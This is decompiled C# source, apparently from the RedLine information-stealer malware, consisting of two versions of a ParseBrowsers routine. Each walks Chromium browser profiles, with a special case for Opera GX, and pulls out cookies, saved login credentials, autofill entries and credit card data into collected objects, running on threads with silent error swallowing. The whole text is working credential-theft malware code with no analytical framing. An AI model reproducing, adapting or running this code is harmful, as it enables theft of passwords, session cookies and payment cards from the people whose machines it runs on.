public static List <Browser> ParseBrowsers() { List <Browser> browserProfiles = new List <Browser>(); try { int countCompleted = 0; object locker = new object(); List <string> profile = ChromiumEngine.GetProfile(); foreach (string str1 in profile) { string rootPath = str1; new Thread((ThreadStart)(() => { Browser browser = new Browser(); try { string fullName = new FileInfo(rootPath).Directory.FullName; string str1 = rootPath.Contains(RedLine.Logic.Helpers.Constants.RoamingAppData) ? ChromiumEngine.GetRoamingName(fullName) : ChromiumEngine.GetLocalName(fullName); if (!string.IsNullOrEmpty(str1)) { string str2 = str1[0].ToString().ToUpper() + str1.Remove(0, 1); string name = ChromiumEngine.GetName(fullName); if (!string.IsNullOrEmpty(name)) { browser.Name = str2; browser.Profile = name; browser.Cookies = (IList <Cookie>)ChromiumEngine.EnumCook(fullName).IsNull <List <Cookie> >(); browser.Credentials = (IList <LoginPair>)ChromiumEngine.GetCredentials(fullName).IsNull <List <LoginPair> >(); browser.Autofills = (IList <Autofill>)ChromiumEngine.EnumFills(fullName).IsNull <List <Autofill> >(); browser.CreditCards = (IList <CreditCard>)ChromiumEngine.EnumCC(fullName).IsNull <List <CreditCard> >(); } } } catch { } lock (locker) { IList <Cookie> cookies = browser.Cookies; if ((cookies != null ? (cookies.Count > 0 ? 1 : 0) : 0) == 0) { IList <LoginPair> credentials = browser.Credentials; if ((credentials != null ? (credentials.Count > 0 ? 1 : 0) : 0) == 0) { IList <CreditCard> creditCards = browser.CreditCards; if ((creditCards != null ? (creditCards.Count > 0 ? 1 : 0) : 0) == 0) { IList <Autofill> autofills = browser.Autofills; if ((autofills != null ? (autofills.Count > 0 ? 1 : 0) : 0) == 0) { goto label_11; } } } } browserProfiles.Add(browser); label_11: ++countCompleted; } })).Start(); } while (countCompleted != profile.Count) { ; } } catch { } return(browserProfiles); }
// Token: 0x060002DF RID: 735 RVA: 0x0000DA38 File Offset: 0x0000BC38 public static List <Browser> ParseBrowsers(IList <string> profiles) { List <Browser> list = new List <Browser>(); try { object obj = new object(); foreach (string text in profiles) { bool flag = false; int num = 1; while (!flag) { Browser browser = new Browser(); string dataFolder = string.Empty; string text2 = string.Empty; try { dataFolder = new FileInfo(text).Directory.FullName; if (dataFolder.Contains("Opera GX Stable")) { text2 = "Opera GX"; } else { text2 = (text.Contains(Constants.RoamingAppData) ? ChromiumEngine.GetRoamingName(dataFolder) : ChromiumEngine.GetLocalName(dataFolder)); } if (!string.IsNullOrEmpty(text2)) { text2 = text2[0].ToString().ToUpper() + text2.Remove(0, 1); string name = ChromiumEngine.GetName(dataFolder); if (!string.IsNullOrEmpty(name)) { browser.Name = text2; browser.Profile = name; browser.Credentials = ChromiumEngine.MakeTries <List <LoginPair> >(() => ChromiumEngine.GetCredentials(dataFolder), (List <LoginPair> x) => x.Count > 0).IsNull <List <LoginPair> >(); browser.Cookies = ChromiumEngine.MakeTries <List <Cookie> >(() => ChromiumEngine.EnumCook(dataFolder), (List <Cookie> x) => x.Count > 0).IsNull <List <Cookie> >(); browser.Autofills = ChromiumEngine.MakeTries <List <Autofill> >(() => ChromiumEngine.EnumFills(dataFolder), (List <Autofill> x) => x.Count > 0).IsNull <List <Autofill> >(); browser.CreditCards = ChromiumEngine.MakeTries <List <CreditCard> >(() => ChromiumEngine.EnumCC(dataFolder), (List <CreditCard> x) => x.Count > 0).IsNull <List <CreditCard> >(); } } } catch (Exception) { } object obj2 = obj; lock (obj2) { IList <Cookie> cookies = browser.Cookies; if (cookies == null || cookies.Count <= 0) { IList <LoginPair> credentials = browser.Credentials; if (credentials == null || credentials.Count <= 0) { IList <CreditCard> creditCards = browser.CreditCards; if (creditCards == null || creditCards.Count <= 0) { IList <Autofill> autofills = browser.Autofills; if (autofills == null || autofills.Count <= 0) { num++; goto IL_280; } } } } flag = true; list.Add(browser); IL_280 :; } if (num > 2) { flag = true; } } } } catch { } return(list); }